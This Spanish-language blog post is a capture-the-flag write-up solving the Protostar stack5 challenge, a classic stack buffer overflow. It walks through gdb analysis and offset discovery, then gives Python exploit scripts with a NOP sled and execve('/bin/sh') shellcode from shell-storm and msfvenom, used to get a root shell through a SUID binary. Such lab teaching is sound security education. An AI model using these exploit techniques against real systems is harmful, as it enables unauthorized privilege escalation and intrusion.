En este post seguiremos con la resolución de los retos de Protostar, os recomiendo que leáis los posts anterior donde resolvemos los 5 primeros retos : (0-2) (3-4).
Como dije en las entradas anteriores, yo no soy ningún experto en el exploiting, así que si tenéis alguna correccion o recomendación no dudéis en comentármela.
Stack 5
Para resolver este reto me he ayudado del video de liveoverflow
About
Stack5 is a standard buffer overflow, this time introducing shellcode.
This level is at /opt/protostar/bin/stack5Hints
At this point in time, it might be easier to use someone elses shellcode
If debugging the shellcode, use \xcc (int3) to stop the program executing and return to the debugger
remove the int3s once your shellcode is done.
Codigo fuente:
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int main(int argc, char **argv) { char buffer[64]; gets(buffer); }
Como dice el enunciado, este es el primer reto en el que nos enfrentamos a un buffer overflow estándar.
Se debe inyectar código en memoria que, ‘truqueando’ el funcionamiento del programa, se ejecutará como root ya que el bit SUID (el binario se ejecuta como el propietario) está activado. En esto se basan los exploits de desbordamientos de buffer reales.
En el código fuente vemos que es un programa muy simple, solo se crea un buffer de 64 bytes y se llama a gets(). Lo que debemos hacer es desbordar el buffer reescribiendo la dirección de retorno apuntando a nuestro shellcode.
Supongamos que no tenemos el código fuente, vamos a desensamblar el main con gdb:
Vamos a poner un breakpoint justo antes de que termine que el programa para analizar los registros:
(gdb) b * 0x080483da Breakpoint 1 at 0x80483da: file stack5/stack5.c, line 11.
Mediante ‘i r’ o ‘info registers’ podremos analizar los registros. Vamos a ejecutarlo:
EAX debe contener la cadena que hemos introducido: “ABCDEF” y por tanto el comienzo del buffer está en 0xbffff730.
(gdb) x/s 0xbffff730 0xbffff730: "ABCDEF"
El registro ESP (registro de pila) apunta a 0xbffff77c luego podemos calcular la longitud de nuestro relleno:
(gdb) p/d 0xbffff77c - 0xbffff730 $1 = 76
Vemos que nuestro relleno ser de longitud 76; otra posible forma de verlo es con Msf-pattern:
$ msf-pattern_create -l 100 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A (gdb) r Starting program: /opt/protostar/bin/stack5 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A Program received signal SIGSEGV, Segmentation fault. 0x63413563 in ?? () $ msf-pattern_offset -q 0x63413563 [*] Exact match at offset 76
Ahora podemos sobreescribir la dirección de retorno, vamos a demostrarlo introduciendo 76 ‘A’s y 4 ‘B’s:
$ python -c 'print "A"*76+"B"*4' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB (gdb) r Starting program: /opt/protostar/bin/stack5 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB Breakpoint 1, 0x080483da in main (argc=Cannot access memory at address 0x41414149 ) at stack5/stack5.c:11 11 stack5/stack5.c: No such file or directory. in stack5/stack5.c (gdb) x/s 0xbffff77c 0xbffff77c: "BBBB"
Como veis el contenido de 0xbffff77c es las 4 ‘B’s, así que ya podemos manejar la dirección de retorno.
Ahora vamos crear un exploit para comprobar que podremos ejecutar código arbitrario, para esto usaremos la instrucción Interrupt 3 que básicamente detendrá la ejecución del programa: un breakpoint.
La dirección de retorno debe ser 0xbffff77c +4, para verlo mas fácilmente:
python -c 'print "A"*76+"B"*4+"C"*100'
Como veis la dirección de retorno debe ser el comienzo de nuestro shellcode, en este caso: 0xbffff780 (0xbffff77c+4)
import struct def m32(dir): return struct.pack("I",dir) padding="A"*76 ret=m32(0xbffff780) shellcode="\xCC"*4 print padding+ret+shellcode
Sin embargo este exploit puede no funcionar fuera de gdb debido a que las direcciones que se almacenan en la pila cambian en gdb.
Para solucionar esto, el método más sencillo es crear un “colchón de nops” (NOP = No Operation)
import struct def m32(dir): return struct.pack("I",dir) padding="A"*76 ret=m32(0xbffff780) nop="\x90"*20 # NOPs shellcode="\xCC"*4 print padding+ret+nop+shellcode
Vemos que funciona, ahora vamos a intentar ejecutar una shell (“/bin/sh”) como root (recordad que el bit suid está activo).
Podemos generar el shellcode con msfvenom o buscar alguno que nos sirva en http://shell-storm.org/shellcode/
·Usando el shellcode de shell-storm.org(Linux x86 execve(“/bin/sh”)):
import struct def m32(dir): return struct.pack("I",dir) padding="A"*76 ret=m32(0xbffff780) nops="\x90"*20 shellcode = "" shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73" shellcode += "\x68\x68\x2f\x62\x69\x6e\x89" shellcode += "\xe3\x89\xc1\x89\xc2\xb0\x0b" shellcode += "\xcd\x80\x31\xc0\x40\xcd\x80" print padding+ret+nops+shellcode
Para ejecutarlo:
(python /home/user/exploit.py;cat)|./stack5
*Si no ponemos ‘;cat’ se ejecutará el exploit pero se saldrá al terminar la ejecución así que no podremos introducir comandos.
·Usando msfvenom:
msfvenom -p linux/x86/exec CMD=/bin/sh -f py
import struct def m32(dir): return struct.pack("I",dir) padding="A"*76 ret=m32(0xbffff780) nop="\x90"*20 # NOPs buf = "" buf += "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f" buf += "\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x08" buf += "\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x57\x53" buf += "\x89\xe1\xcd\x80" shellcode=buf print padding+ret+nop+shellcode
Ya podemos ejecutar comandos como root en el sistema.
Resumen:
1- Identificar la longitud del padding ($esp – $eax o mediante msf-pattern)
2- Encontrar la dirección de retorno a la que le sumaremos 4 con el fin de dirigir al EIP a nuestro shellcode
3- Crear nuestro exploit: padding + ret_dir + nops + shellcode
Como dije anteriormente estos retos son una introducción, hoy en dia lo binarios cuentan con protección, como el NX (linux) o DEP (Windows) que hace que algunas zonas de memoria (normalmente la pila/stack) no sean ejecutables.
Deja una respuesta